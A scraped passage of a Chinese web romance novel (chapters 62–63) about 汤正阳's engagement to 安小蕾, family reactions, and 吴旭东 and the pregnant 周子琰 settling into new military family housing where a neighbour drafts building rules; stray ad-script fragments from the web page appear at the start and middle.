'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 安小蕾猛地回头:“你真是个不懂得闭嘴的男人!窥探别人的内心很好玩吗?” “难道不是你先窥探了我的内心?”汤正阳理直气壮,“是谁力排众议,让我给丰登买房?” ……安小蕾无法反驳。 是的,这个男人,她一眼就看透了。 没想到,他居然也懂她。 她有些气恼,扭过头去,不看他。 肩上却搭过来一只宽大的手掌,力气很轻,但却炽热滚烫。 他握住她细瘦的肩,带着蛮不讲理的强势:“你不能这样,只许自己看透别人,却不允许别人走近你。安小蕾,我要你给我买袜子。” “买过了!还钱!”安小蕾气恼,想要掰开他的手。 却被他紧紧握住:“要我还多少才够?一百,两百?不如把我的全部家当都给你,你想买多少都行,用袜子把我埋了都行。” “神经病!”安小蕾用力挣脱,想要拍开他递过来的戒指。 手掌扬起,对上他汪洋般深邃的眸子,却又缓缓收了回去。 像是暴风雨来临前的海面,有着让人心慌的安静和沉默。 她再次移开视线:“结了婚的女人都是死鱼眼睛,我不想变成死鱼眼睛。” “你不会。我不会干涉你的事业,如果你愿意生孩子,我带。如果你不愿意,那就不生。我不在乎这些,我只在乎你这个人。”汤正阳将她的身体掰过来。 戒指塞进她的手心,蓝莲花插在她的发上。 急促的呼吸,滚烫的真心。 他的眸子低垂,沙哑的嗓音带着一丝祈求:“我可以亲你吗?” “如果我说不可以,你会放弃吗?”安小蕾有些后悔了,早知道不该上来。 可是这个男人太坏了,居然故意淋雨骗她心疼。 她上当了。 没想到他居然松开了她:“那就不亲,我尊重你的一切决定。” “……”安小蕾松了口气。 摘下头上的蓝莲花,低头深嗅:“告诉我,为什么选这朵?” “觉得它很像你。”汤正阳的确想找弟媳打听安小蕾的喜好,可惜小旭到现在都没有电话回过来,估计是太忙了,还没顾上。 不过没关系,他有自己的判断。 这样的判断,即便是误打误撞,也足以令人心动。 安小蕾沉默了很久,终于抬头:“给我一年的时间考虑。” “你先把戒指戴上,我不想别人对你动歪心思。”汤正阳提出了自己的要求,要不然不踏实。 安小蕾笑了:“你就这么没有信心?” “只是想让那些苍蝇离你远一点。”汤正阳伸手,“同意的话,咱俩就算订婚了,我给你戴上。” “不生孩子真的没关系?” “你要是不信,我可以去结扎。” “不用,只是问问。” “所以,愿意给我买袜子吗?安教授。” 安小蕾笑了,戒指还给他,伸出了左手。 汤正阳也笑了:“安教授,你眼光有问题,居然答应了文盲的求婚。” “那怎么办,某人觉得我应该去当教导主任,可惜我精力有限,只教导他一个也就够了。”安小蕾把花贴在左侧脸上,降降温。 汤正阳捉住她纤长的左手,将钻戒戴在她的中指上,低头,深深地亲吻:“那我真是不胜荣幸,居然可以做安教授唯一的学生。” 抬起头来,他再次发问:“现在可以亲你吗?应该不算师生恋。” 安小蕾笑得花枝乱颤:“神经!” “没办法,你喜欢。”臭美的男人敛起笑意,静静地靠近。 双唇相贴的瞬间,安小蕾发出一声叹息。 糟了,堂堂安教授,怎么可以中了美男计呢? 呜呼哀哉。 * 吴旭东今天忙得焦头烂额。 没办法,老爹脱离社会太久,虽然很努力地在做事,还是给他捅了大篓子。 为了解决两个服装店上错货的问题,他一直忙到九点才回家。 幸亏码头那边为了方便上夜班的军属,晚上也有渡船。 回到家里,他赶紧跟周子琰赔不是。 周子琰哭笑不得:“你傻不傻呀,偶尔加个班有什么大不了的?我自己会下面条吃啊。” “不行,以后我不能这样,我都急死了。”吴旭东很是羞愧,饭都顾不上吃,赶紧帮周子琰搓澡,让她睡觉。 等他自己忙完回到床上的时候,一拍脑门,想起大哥的事情,赶紧问了问周子琰。 周子琰还没睡,想了想,道:“二姐虽然没有说过,但是我知道她喜欢蓝色的花。她的花房里有一个温室,是不允许别人乱动的。不过我有次去找约翰逊借营养土,无意中看过一眼,里面全是各种品种的蓝色的花。” 是吗? 吴旭东又问了问别的喜好,问完赶紧给大哥回电。 正在开车的汤正阳把大哥大交给了安小蕾:“接一下。” 雨天路滑,他不敢分心。 电话接通,那头传来吴旭东的声音:“哥,蕾蕾姐喜欢蓝色的花。还有,子琰说她特别喜欢收藏一些孤本的古书,你不是人脉很广吗?找点绝版的书给她,她肯定喜欢。” “嗯,我会转告你大哥的。”安小蕾忍着笑,挂断了电话。 吴旭东:??? 怎么是蕾蕾姐接的电话? 难道她和大哥已经在一起了? 不是吧,他到底错过了什么? 62. 搬家(二更) 汤正阳跟安小蕾的恋情,像是一阵海啸。 把家里的亲戚们都给惊动了。 谈九妹都跟同事说好了,要把对方的护士女儿介绍给汤正阳,只好作罢。 安一方那边也物色了一个年轻帅气的海归博士,就等着介绍给安小蕾,现在也不得不放弃。 说起来,大家不是嫌弃汤正阳,而是担心两个人的学历相差太多,走不长远。 于是汤正阳一回来,七大姑八大姨,全都来了。 还好安小蕾不在,要不然两个人都要被关切的海浪淹没。 大家聚集在周子琰爸妈这里,偌大的平层,宽敞的客厅,全是人。 劝了半天,让他三思而后行,他却只是笑。 谈九妹愁死了,最终只得把周中擎跟老安推出来:“你们两口子别傻愣着啊,快劝劝。” 周中擎跟老安对视一眼,起身道:“跟我来。” 汤正阳跟去了阳台。 这两年不少高楼拔地而起,不过这个小区选址很好,至今没有被什么新建的楼盘遮挡视线。 两人看着远处的海面,各自斟酌着什么。 最终还是汤正阳先开了口:“周叔,我不想做空口无凭的承诺,但是我可以满足物质上的要求。不管是彩礼,婚房还是什么三金,五金,随便提,我都能做到。” “不不不,孩子,你搞错了。”周中擎拍拍他的肩膀,“我不是卖女儿的爸爸,不会要这些。我只是担心你,蕾蕾她性格强势,你愿意为她退让吗?你可要想清楚了,这不是一次两次的退让,而是一辈子的退让。” “我愿意。”汤正阳笑着看向远处,“强势的女人有什么不好,不比那些庸脂俗粉好多了。” 周中擎笑了:“你小子,眼光倒是独特。不过我丑话说在前头——” “周叔,我知道,你很不容易。你不是她的亲生父亲,如果她真的跟我在一起,少不得有人要戳你的脊梁骨,说你对这个女儿不好。可是周叔,好不好的,是过给自己看的,不是给外人看的。我想你是过来人,比我清楚这一点。要不然,你不会选择安姨。她带着两个孩子,你所遭受的阻力,并不比我小。”汤正阳到底是见过大世面的。 一眼就可以看出来,在这个家庭里面,付出最多的就是周叔。 他要接纳一双不是自己血缘的儿女。 在这么一个男权社会,会遭受多少的白眼和嘲笑,可想而知。 更何况,他跟安姨在一起的时候还是初婚,并不是离异未育。 但是这么难走的路,他还是义无反顾地走过来了。 所以,汤正阳佩服他。 有担当的男人,就是要正面自己内心的渴望,破除千难万险,也要实现它。 而他收获的,一定也是常人难以想象的美满和甜蜜。 汤正阳笑着问道:“周叔,你幸福吗?” “幸福。”周中擎笑了。 “再来一次,你还是会选我安姨吧?” “那当然,她是唯一的,不可替代。” “周叔,蕾蕾在我心里,也是不可替代的。我愿意为了她做任何事。相妻教子,洗衣做饭,我都行。” “记住你今天说的话。” “男子汉大丈夫,一言九鼎。” 周中擎拍拍他的肩膀,推开阳台门,回到了客厅。 老安看得懂他们的肢体语言,起身道:“好了,大家的好意我都知道了,孩子们的事,让他们自己拿主意吧。” “六妹,你跟我来一下。”安一方叹了口气,叫上老安,去了后面的露台。 老安知道他要说什么,可他是大哥,她总得给他这个面子。 便跟了过去:“哥,正阳这孩子挺好的。” “我当然知道他很好,可是你想过没有,激情过去,柴米油盐的生活才是主旋律。如果他跟蕾蕾话不投机半句多,这日子怎么过?”安一方头疼。 他虽然心疼汤正阳的遭遇,可他更心疼自己的外甥女啊。 蕾蕾这孩子还没出世就没了爸爸,多可怜啊。 要是日后婚姻不顺,做大舅的会自责的。 他六妹也会寝食难安啊。 老安当然明白,宽慰道:“大哥,你要相信蕾蕾的判断。她也跟我说了,目前只是订婚,接下来一年的时间,她都会慎重考虑要不要走到结婚那一步。她都念到博士了,自己想要什么,应该比咱们都清楚。” “那好吧,不过我丑话说在前头,要是正阳这小子辜负了蕾蕾,我可是会揍人的。到时候你可不要因为他是小东的哥哥就拦着我。”安一方妥协了。 他只是舅舅,不是父母,不好干预太多。 老安笑笑:“放心吧大哥,你妹夫不是傻子。蕾蕾要是过得不好,最难受的是他,他肯定会严格把关的。” “哎,我也是担心他难做啊。这些年他对小杰和蕾蕾不薄,继父做到他这个份上,让人心疼啊。”安一方重重叹气,事已至此,还是先让蕾蕾跟正阳处处看吧。 * 吴星南一回来,就听说亲大哥订婚了。 对象还是安小蕾。 这让她惊讶万分,赶紧把汤正阳约出去,边吃边聊。 吴星南拿着筷子,迟迟没有夹菜。 对面的汤正阳倒是胃口不错,吃得那叫一个欢实。 吴星南不禁叹气:“大哥,咱俩今天第一次见,不熟,但我还是想问,你不是在开玩笑吧?” “怎么?”汤正阳抬头,神色平静。 小星的反应很正常,任何人听说一个女博士要嫁给他,都会觉得匪夷所思的。 所以他不生气。 吴星南考虑的却不是学历的问题。 她问道:“你真的了解安小蕾吗?她脾气很臭的。远的不说,就说安家的这些哥哥姐姐弟弟妹妹,谁看到她不是战战兢兢的。她在研究所也是得罪了一大帮人,万一她以后工作不顺,把气撒在你身上……” “撒就撒嘛,还不准人家有点脾气了?人都念到博士了,可不是为了在凡夫俗子跟前受气的。”汤正阳想得挺开。 他欣赏的不就是安小蕾的率真和凌厉吗? 尤其是那次的刮擦事故,两个男人在她面前畏首畏尾,简直帅呆了。 他很欣赏这种能力强的女人。 有点脾气怎么了,他乐意。 吴星南无话可说:“既然你想好了,那我就祝福你们吧。以后要是受气了,可别找我诉苦啊。” “真男人从不诉苦。”汤正阳笑笑,继续吃饭。 吴星南哭笑不得:“难怪北北在电话里劝我别搀和,看来是我想多了。你都这么大人了,考虑问题肯定比我全面。那我就等你们的喜酒了。” “到时候记得把妹夫和孩子带回来让我看看。”汤正阳吃完了,掏出两个红包,“你看你,孩子不带过来,害我白高兴了。拿着吧。” “不用啊哥,我不差钱。”吴星南没要,大哥刚给北北买了婚房,自己还没结婚,她才不想要他的钱。 可是汤正阳坚持给:“拿着,我不差钱,随便卖几单药材就有钱了。倒是你,养两个孩子呢。” “真不用。”吴星南说什么也不肯收。 汤正阳只好扯过她的袖子,看了看她小臂上的伤痕:“当时……疼吗?” “嗯……”吴星南别过脸去,不想提那些不好的回忆。 汤正阳摸摸她的头发:“哥心疼,拿着。给孩子买点好吃的好玩的。” “干嘛呀,我有手有脚的。”吴星南没想到这个大哥居然这么好。 跟吴燕西完全是反着来的,忍不住泪水横流。 汤正阳吃完了,擦擦嘴,坐到她身边,抱了抱她:“哥也有手有脚,别担心,哥不差钱。你请趟假不容易,赶紧回去,暑假带孩子过来玩,到时候小旭也当爸爸了,多热闹。” “嗯,谢谢哥。”吴星南把红包收下,没数。 看厚度,起码两万是有的。 也许是特地多给了点,她刚好差一万多买房。 可是这钱她拿着不安心,算了,等大哥结婚,随礼随回来吧。 北北也说了,到时候买房子的钱会以礼金的形式还给大哥。 虽然大哥大方,但是做妹妹的不能真的贪他的钱。 兄妹俩短暂相聚,又迅速各奔前程。 汤正阳这次特地去海岛转了转。 周子琰今天正好休息,便陪他到处走走。 “小旭去厂里了吧?” “嗯,他晚上回来。” “子琰啊。” “嗯?” “你已经显怀了,凡事小心,小旭不在家的时候,你自己上下楼梯千万注意啊。” “知道哥,我有数的。” “这边孩子太多了,不会吵到你休息吧?” “不会,楼里的孕妇不少,就算我不吭声,也有别人会说的,没事。” “那就好。孩子名字取好了吗?” “小东取了个,叫周长空,我八舅说这个名字跟孩子的八字不合,只能留作小名。” “那就听八舅的,他不会害你们的。” “我也是这个意思。” “我要去一趟西南,我总觉得顾蔓蔓被拐的事情需要深挖一下。也许卖她的人跟拐卖小旭的人贩子有交集呢?” “嗯,我跟小东也考虑过这个可能性,不过警察那边没有线索。” “我去看看,我认识不少药农,也许能打听出来些什么。” “那你千万小心啊。” “放心,我有保镖,不是蛮干的莽夫。” “你们兄弟俩还挺像的,小东也有保镖。” “这样才走得长远嘛。改开这十几年,好多法律法规都还没有完善,尤其是南边,经济发展得快,治安成了大问题,做生意肯定要请保镖的。” “嗯。” “对了子琰。” “什么?” “我跟你二姐的事,你不反对吧?” “不会啊,二姐是成年人,有自己的判断,我相信她。” “你们姐妹俩真是挺信任彼此的,她也这样说过你。” “嗯,我姐很好的,不过你也很好啊,你们两个都好。” “哈哈,怪不得小旭总说你给他灌迷魂汤。” “那你也多给我姐灌灌迷魂汤,她是顺毛驴,你别跟她对着来。” “明白。那我走了?” “晕船吗?” “不晕,我跟两广那边的疍户有来往,他们会帮我养殖珍珠,海马还有石决明,我经常去他们的住家船上,习惯了。” “大哥涉猎真广,跟我姐肯定能说得来。她是从书本上学得多,你是从生活里学得多,所以我根本不担心你们的学历差距。你也要自信一点,自信的男人最耀眼嘛。” “哈哈!跟你说话真开心。我走了子琰,你和宝宝都要注意安全。” “好。”周子琰把他送到码头。 汤正阳的船刚走,何东升的船便靠岸了。 他从船上下来,看了眼周子琰显怀的肚子,默默叹了口气。 却又怕她看出来什么,赶紧振作起来,笑着招呼道:“子琰,送人呢?” “嗯,我大哥过来看我。”周子琰笑笑,往回走。 何东升有一段路跟她重合,便跟在她身边,问道:“预产期什么时候?” “农历八月吧。”周子琰最近很容易犯困,说话间哈欠连天的。 何东升陪她走到楼道口,站在下面替她挡着点放学回来的熊孩子们。 等她到了楼上,他才转身离去。 * 吴旭东在商业街挑选店铺。 正跟转租的商户讨价还价,身后响起一个熟悉的声音。 他猛地回头,笑着走过去,一把勾住汤正阳的脖子:“大哥,你来啦!” “看看你,听爸说你要开个通讯器材店?”汤正阳不好送钱给周子琰,便直接拿出一个硕大的牛皮纸信封,塞给了吴旭东,“哥支援你五万,别嫌少。等到手里这批货出了,我能再给你凑点儿。” “大哥,这是做什么,我又不差钱。”吴旭东赶紧把钱还给他。 汤正阳坚持:“拿着,这几个月你把精力多放在子琰身上,这几个店铺就算赔了也不怕,哥给你兜底。拿着!” 吴旭东气笑了:“你太小瞧人了,我真有钱!” “你拿不拿?不拿就是不把我当大哥!”汤正阳恼了,吴家这边的弟弟妹妹怎么回事,给钱都不配合。 吴旭东气得直瞪眼:“我就是拿你当大哥才不要你的钱。” “你懂个屁!家属院那么多小孩,你把子琰一个人丢在岛上上上下下的,你不怕出事?拿着!回头我介绍几个人过来帮你的忙,你给我好好照顾你的老婆孩子去。”汤正阳直接冷下脸来,抓住他的手,把钱硬塞进他怀里。 吴旭东无奈:“好好好,你在理,我回去守着子琰。” “这还差不多。我还有时间,通讯器材店我来给你物色,今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚你回去后就别再跑来跑去的了。”汤正阳给他吃个定心丸,“回头我把中药店开在你旁边,让咱爸看着点,别怕。就算赔了也没事,千金散去还复来嘛。” “你这乌鸦嘴,能不能说点好的?”吴旭东嫌弃。 汤正阳哈哈大笑:“快去吧,趁早把孩子需要的东西都置办置办,总之,你白天可以出来,但是中午和晚上都必须回去。” “知道了,听你的。”吴旭东投降,反手把钱还给了他,“拿着,店铺租金不要花钱吗?” “你先拿着,地方定下来你再来签字。”汤正阳还是把钱塞给他,“你就当是我给你补上的结婚礼金。亲兄弟,又不是什么行贿受贿,别怕。” “……”吴旭东服了,“这会儿子琰已经去部队了,我晚上再回去,下午就把店铺定下来吧,免得耽误你的事儿。” “也好,走,一起转转。”汤正阳认识这里的药材商。 一个电话一打,立马屁颠屁颠跑过来一个地中海的中年男人。 在这个男人的介绍下,兄弟俩不到两个小时就把店铺敲定了。 “看,哥没给你拖后腿吧?”办完手续,汤正阳得意的挑眉。 吴旭东投降:“你最牛气,我可谢谢您嘞!” “不谢不谢,回头子琰生了宝宝,让我抱抱就行。”汤正阳笑笑,看看时间,不早了,赶紧催他回去。 接下来的几天,汤正阳还是留在这里,把里里外外的事情全部张罗完。 又带着吴国正,亲自把每个店铺巡视一遍,过一遍管理的流程。 吴国正上次给小儿子捅了娄子,心里实在过意不去,这次打起一百二十分的精神,努力学习,还不忘拿个小本本把要点记下来。 前前后后整整半个多月,汤正阳瞧着他终于上手了,这才放心离去。 紧接着便是马不停蹄去谈生意,运药材,收药材,继续谈生意,继续运药材,收药材…… 偶尔路过弟弟的城市,便停下来看看亲妈恢复得怎么样了,再去海岛转转,看看那小子有没有好好照顾周子琰。 偶尔路过安小蕾的城市,便停下来去看看新房装修得怎么样了,弟弟妹妹的感情进展如何,有没有闹矛盾。 至于他跟安小蕾,两人除了斗嘴,就是闷在安小蕾的公寓里做饭看书,俨然老夫老妻。 婚还没结,他已经看到了白头偕老的那一天,不禁斗志满满,又去北京忽悠吴家栋的姐姐姐夫们去了。 时间一晃,暑假到了。 冒长城考完了,跑到这里来等成绩。 顺便跟丁俐俐约会。 有空了也帮忙叶嫂子带带金豆和银豆。 叶嫂子半个月前生了个小女儿。 日夜颠倒,一到晚上就哭。 时间久了,哭得整栋楼的人都有点烦躁。 现在周子琰临近预产期,整个人都失去了耐心。 可她又不忍心去责怪叶嫂子,毕竟叶嫂子也不想这样的。 思来想去,她买了个电推子回来,逼着吴旭东给她剃光头。 吴旭东不肯:“剃光头做什么?你这么怕热吗?” “热死啦!热得我睡不着觉。好小东,给我剃光头吧。”周子琰真的崩溃了,即便家里装了空调,也还是觉得热。 没办法,都说心静自然凉,那心不静自然就热咯。 她只好折腾自己的头发。 吴旭东还是不肯:“不行,光头像什么,我给你剃板寸。” “好吧,板寸也行,快剃,快剃。”周子琰一刻也不想等了。 这大半年来,头发疯长,好看是好看,可是也麻烦啊。 还是剃了省事。 吴旭东赶紧帮她凉快凉快。 剃完头,周子琰心满意足,翻开日历算了算,又长吁短叹:“怎么还有一个多月啊,我受不了啦!” “你打我吧,掐我,咬我,都行,只要能发泄,随便你。”吴旭东无奈,怀孕这事他替代不了,只得主动做个出气筒。 周子琰舍不得,郁闷的喊了两嗓子,收拾收拾,继续带女兵去。 吴旭东小心翼翼地扶着她下楼:“我知道你这几天睡不好,叶嫂子的小女儿天天哭,我想想办法,不行咱们跟别的楼里的换一换。” “能行吗?”周子琰真的快崩溃了。 叶嫂子白天可以补觉,可是她不行啊,她还得去部队带新兵。 吴旭东沉思良久:“去年年底不是增招了一批女兵吗,我有办法。” 周子琰走后,他去了趟何政委家里。 何政委前几天高血压差点脑梗,最近请假在家里养病。 见到他来,还挺意外的。 赶紧让他坐。 吴旭东斟酌片刻,道:“何政委,我建议把女兵的家属单独安排进一栋楼,这样对大家都好。” 何政委挑眉:“哦?怎么了?” 吴旭东没提叶嫂子孩子的事。 这很容易被反驳,毕竟被吵到的又不是他们一家。 他想了想,道:“现在这样按照各个营部和连队的归属安排住宿,导致楼道里军嫂居多。有我在,她们哺乳不方便,回回我经过的时候,她们都要着急忙慌的拉窗帘。我跟她们一起做事也不方便,生怕说话轻了重了制造不必要的麻烦。与其这样,不如把女兵的家属聚在一起。” 何政委沉思良久,拍板同意了:“好,我跟其他领导开会讨论一下,你等我消息。” 三天后,讨论通过。 女兵家属全部搬去六号楼居住。 因为人少,索性都住在了二楼。 一楼不如二楼通风好,暂时空着,留着当仓库。 三到五楼更是无人问津,等以后女兵多了再进人。 反正当初盖楼,就是往多了盖的,方便一些军属的家人过来探亲,所以好几栋楼都没有住满。 吴旭东收拾完,终于松了口气,这下好了,白天的时候都是大老爷们儿在一起相处,方便多了。 至于夜哭的孩子,不好意思,还真没有。 目前一共只有九个女兵带了家属过来。 已育的两个,未育的六个,孕中的只有周子琰一个。 而已育的那两家,一个孩子三岁了,一个都上小学了,根本不存在夜哭的问题。 第二天女兵们一走,男同志们便聚到了走廊上,互相认识一下。 人群中,吴旭东看到了一个熟悉的面孔。 对方显然也注意到了他,不禁愣在了那里。 63. 冤家 孙谦挺难为情的。 其实他已经来了好几个月了,一直没好意思跟吴旭东打招呼。 进出也刻意躲着点。 好在他老婆跟周子琰没有交集,所以他住在五号楼,基本上碰不到吴旭东。 要问为什么…… 大概是因为,曾经他是风光无限的班长,人人都对他客气又热情。 而现在,他老婆只是后勤保障部门的一个小领导,级别相当于正连级。 而且…… 吴旭东结婚的时候他去喝喜酒,带的女朋友是云朵。 而现在他的老婆另有其人,他不想让吴旭东无意中提起云朵,惹他老婆生气。 没想到忽然调整女兵的住宿安排,到头来还是跟吴旭东撞上了。 真是…… 不习惯啊。 光是看看两家的住处就能察觉到落差。 正副连级的住一室一厅,在一到三楼主楼的两边和东西边楼,每层八户。 正副营级的住两室一厅,在一到三楼的主楼中间。 每层两户,在每栋楼中间楼梯的两侧。 至于四到五楼,那是正副团级干部住的。 因为这种级别的人数太少,所以空出来的房间做了图书室,娱乐室,自习室等等,方便孩子们和军属休闲娱乐。 因此,吴旭东跟周子琰的选择余地不多,最后选了楼梯东边的这套。 孙谦家则紧挨着楼梯西边的那套。 两家中间隔了楼梯和一套房。 这就是差距。 孙谦尴尬地笑了笑:“老同学,你好啊。” 吴旭东乐了:“来多久了,我都没有注意到你。” “正常,你家一号楼,我家五号楼,离得远。”孙谦推了推眼镜儿,缓解一下地位落差带来的不适。 吴旭东倒是没有这些小心思,再说,大学四年,他跟孙谦也没有过节。 只是遗憾:“你这家伙,结婚也不通知一声,礼金我得给你随回去啊。” “没摆酒,就领了证。也就几十块钱,没事儿。”孙谦笑笑,尴尬得脚趾抠地。 吴旭东好奇:“你老婆是?” “冯薇,后勤那边的。”孙谦推了推眼睛,低人一等的感觉真难受。 吴旭东不认识这人,不过还是说了句场面话:“能进这里的女兵都很优秀。” 孙谦听得出来,吴旭东压根没听说过这个名字。 确实,这岛上最有名的巾帼豪杰就是周子琰。 人人认识,家喻户晓。 至于冯薇…… 还需要多多历练。 他笑了笑:“是啊,都很优秀。”说着他看向周围的其他人,“大家都互相认识一下吧,顺便推选出一个楼长,方便以后管理。” 另外七个人面面相觑,谁能想到还要选楼长,真麻烦。 不禁大眼瞪小眼,最后齐刷刷看向了吴旭东:“那就让小吴当吧,咱们这儿的女兵里头,就属周指导级别最高。” “是啊,小吴还是大学生呢,挺合适的。”一个中分发型的男人附和道。 他叫张铁勺,二十七岁,身高一米八左右,小眼睛,大圆脸,像个大炊饼上嵌了两粒葡萄干儿。 整个人白白净净的,有将军肚,在岛上的食堂当大厨,因为是山东来的,所以一身的大葱味儿。 他老婆白欣今年二十六岁,是潜艇上的一个技术员,所以随军条件放宽,副连级,在潜艇上服役满三年就行。 他自己初中毕业,文化也不高,但他跟白欣是青梅竹马,又是前后邻居,打小关系就好。 所以谈婚论嫁没有什么阻碍。 他跟白欣有个女儿,今年三岁,叫张宝珠,长得跟他一样,大圆脸小眼睛,穿着粉色的连衣裙,扎着俩羊角辫儿。 这会儿正牵着他的手,一脸懵懂的看着这些叔叔伯伯们。 张铁勺的发言显然得到了一致认可,大家都看向吴旭东。 吴旭东笑着摆了摆手:“我不行,你们也知道,我家周指导快生了,我哪有空。” “你是没空,可是我们不如你有学问啊!”张铁勺憨厚得很,总觉得文化人肯定比他们都能干。 其他人也附和,只有孙谦没有说话。 视线对上,吴旭东笑了笑:“让孙谦当吧,他是我大学班长,那四年里男寝都是他管的,所以管里楼道这种事,他最熟。” “哎呀,真没看出来,小孙也是大学生啊!”张铁勺惊喜万分,“你怎么不说呢小孙!上次问你,你还谦虚,说你上过高中。” “那到也没错,不上高中怎么考大学。人家这是人如其名,谦虚。好了,投票吧,剩下的都是大老粗,没一个学历高的。”一个皮肤黝黑的男人明显烦了。 他叫李七海,单眼皮,细长眼,眉心有三道深刻的川字纹。 皱眉皱的。 没办法,他家是沿海的疍户,家里兄弟姐妹太多,他又是家里的老幺,幼年要抢着吃争着吃才不至于饿死。 以至于他养成了急躁爱抱怨的性格。 他子承父业,常年打渔,晒得跟黑炭一样。 他背过身去,冲吴旭东挤眉弄眼,看那唇形,是在问吴旭东:你真的不当? 吴旭东摇头,他最怕管束别人,有那功夫,照顾好他自己的小家就够了。 最后七个人投票,除了一个站在最边上全程没有说话的雀斑脸,其他人都投给了孙谦。 孙谦走马上任,立马安排起来。 “考虑到周指导快生了,吴旭东需要照顾她,所以接下来三个月的楼道打扫任务,不需要他参加。不过作为补偿,他需要每个月多交一百块的管理费用。这一百块不给我,而是交给帮他分担打扫任务的那个人。谁愿意辛苦一下请举手——” 吴旭东:…… 至于吗? 不就是随便扫扫的事。 不过孙谦很快让他明白,至于。 因为打扫的是整个家属楼上下五层的卫生,包括院子和门口马路。 李七海不高兴,毕竟以前住的楼人多,各家自扫门前雪就行了,院子也是谁看不下去谁收拾。 现在却要为整个楼负责,谁受得了。 当即皱眉,问道:“三到五楼没人住也要打扫啊?” 孙谦推了推眼镜,开始他的长篇大论:“为什么不打扫?你们别忘了,学校放暑假了。大院这么多孩子,他们的爷爷奶奶外公外婆来看他们怎么办?还有那些不能随军的,家属带孩子来看爸爸妈妈怎么办?咱政委不是说了,不想让家属花冤枉钱去城里住宾馆,统一就近安排。后面那三栋楼就是当招待所用的。虽然咱们这栋楼女兵很少,但也不能不顾体面啊。必须把整栋楼打扫干净了,免得大家觉得咱们这帮大老爷们儿好吃懒做,把个楼道弄得污七八糟。” 得,谁也说不过他,扫就扫吧! 吴旭东宁愿花钱,图个清静。 不过张铁勺提了一句:“咱们这一共九户人家,三个月才能每家轮十次。一个月就要给一百,三个月就是三百,十次三百,有点贵吧?食堂清洁工一个月的工资也才两百出头。” 孙谦当然考虑过了,解释道:“不贵,因为马上就是探亲高峰了,一旦来了亲属和更多的小孩,楼道里会很脏,打扫很辛苦。吴旭东正好是这高峰期做不了,所以多给点没毛病。这就跟外头的酒店宾馆会在节假日涨价一个道理。” 那倒也是。 大家都服气了。 你看我,我看你,谁愿意挣这三百块赶紧报名吧。 最后是李七海把这活儿揽了下来,谁让他家有孩子要养呢。 吴旭东当场付清三百块。 没想到孙谦又给派活儿:“还有——” “还有啊?”李七海不耐烦了,要不是昨天搬家太累,他今天想补觉,他早就出海打渔去了。 现在他困得半死,根本不想再听孙谦叨叨了。 孙谦好脾气地安抚道:“现在的麻烦,是为了今后的便利。我也知道你困了,可是如果不让你参与,岂不是显得大家不尊重你?今后大家都是邻居,难免会有口角纠纷,与其到时候争得面红耳赤,不如早点做好预防,你说呢?” “行行行,说不过你。”李七海服了,这读书人就是会讲大道理,他只得妥协。 孙谦便提了几条楼道公约—— 第一,每天打扫整个楼道和院子马路,轮流执勤。 第二,不准在楼道、院子里和门口马路随地吐痰,乱扔垃圾。违者发现一次,罚他第二天无偿替别人大扫除一次,如果第二天正好是他家打扫,则往后顺延。 第三,楼里有孕妇,有小孩,抽烟的请到一楼院子里抽,违者同上。 第四,晚上超过九点不许有噪音,更要约束好家里的孩子,不要大声喧哗,违者同第二条处理办法。 第五,晾晒衣服的架子,楼下有统一安排,各家记好自己家的区域,不要霸占别人家的区域。如果有特殊情况需要占用,必须征求对方的同意。违者同第二条处理办法。 第六,楼下有摆放自行车的棚子,同样,各家记好自家的区域,要是乱放导致丢了刮了碰了,自己负责。违者同第二条处理办法。 第七,不准有其他的违法乱纪的行为,包括但不限于谩骂,打架,偷窃,盗用,偷窥,借东西不还等。一经发现,直接举报到纪律部门。 第八,加强道德建设,争当模范军属,不做背叛配偶有损家庭团结的事情。一经发现,直接举报到纪律部门,必要的时候会以破坏军婚的罪名送他吃牢饭。 第九…… 看完这一整套规章制度,所有人都服了。 大写的服。 最后还让所有人在公约下面签了字,一式八份,贴在了楼道的五个入口处,以及左右大门那里。 最后一份呢? 给政委。 所有人无话可说,好像被这个孙谦套上了一道无形的枷锁。 难受啊。 忽然开始后悔,要是选吴旭东就好了。 他看着比孙谦好说话多了,应该不会拿这些条条框框来约束大家。 呜呼哀哉。 “这孙谦不去当街道办大妈可惜了啊。”散会后,李七海嘀嘀咕咕。 张铁勺倒是觉得这样挺好的。 他笑着说道:“不以规矩不成方圆嘛!我觉得这个小孙有前途!以后能当大官儿哩!” 李七海翻了个白眼:“你们山东来的就知道当官儿!我已经见过好几个这样说的了,都跟你一样。” 张铁勺爽朗的笑笑:“那还用说,当官儿多好,扬眉吐气,光宗耀祖。再说了,咱哥儿几个要不是老婆当了军官,还没办法随军呢,你能说当官不好?” “得得得,你有理,你们都有理。”李七海说不过他,赶紧补觉去。 吴旭东则看了眼打扫大院的排班表,还好,不是按照配偶的级别排的,而是按姓名的拼音首字母顺序。 要不然李七海这会儿就得顶替他干活去了。 这老哥睡不成觉肯定得闹,看来孙谦延续了管理男寝的智慧。 行,就这么地吧。 吴旭东回到屋里,继续打毛衣。 这次不是给周子琰打的,而是给即将出生的孩子。 预产期只是一个大致的日期,万一孩子赖着不出来,拖到立秋之后呢? 所以他要准备好毛衣毛裤羊毛鞋和小帽子,全套的。 多来几套。 正抱着棒针听着电视瞎忙活,孙谦来了。 吴旭东白天不关门。 不过现在是夏天,他挂了门帘,挡苍蝇。 孙谦还挺有礼貌,掀开门帘敲了敲门。 吴旭东抬头:“呦,楼长来了。” 孙谦:…… 犹豫片刻,还是进来了。 “跟你说个事儿。”他坐在旁边的单人沙发上,隔着茶几跟吴旭东说话。 吴旭东低头忙自己的:“你说。” “别跟我老婆提云朵的事儿。”孙谦推了推眼镜儿,有些尴尬,“相亲的时候她说她不喜欢情史丰富的男人,所以我……” “哦,撒谎了。”吴旭东没抬头,他不意外。 孙谦这人吧,没什么大毛病,就是虚荣心强。 估计是嫌弃云朵的工作一般吧。 哪有做军属光荣。 不过也说不定,也许是性格不合。 他没问。 孙谦自己解释了一下:“她家彩礼要得太高,我给不起,所以……” “不用跟我解释,你还不知道我?两耳不闻窗外事。再说我跟她又不熟。”吴旭东终于施舍给他一个眼神,让他放心。 孙谦松了口气:“我还以为你当了老板会有点变化,没想到你还是不爱管闲事。” 其实他想说的是,他以为吴旭东会狐假虎威,弄个楼长耍耍威风,结果吴旭东不感兴趣。 这样也好,免得他处处觉得低吴旭东一头。 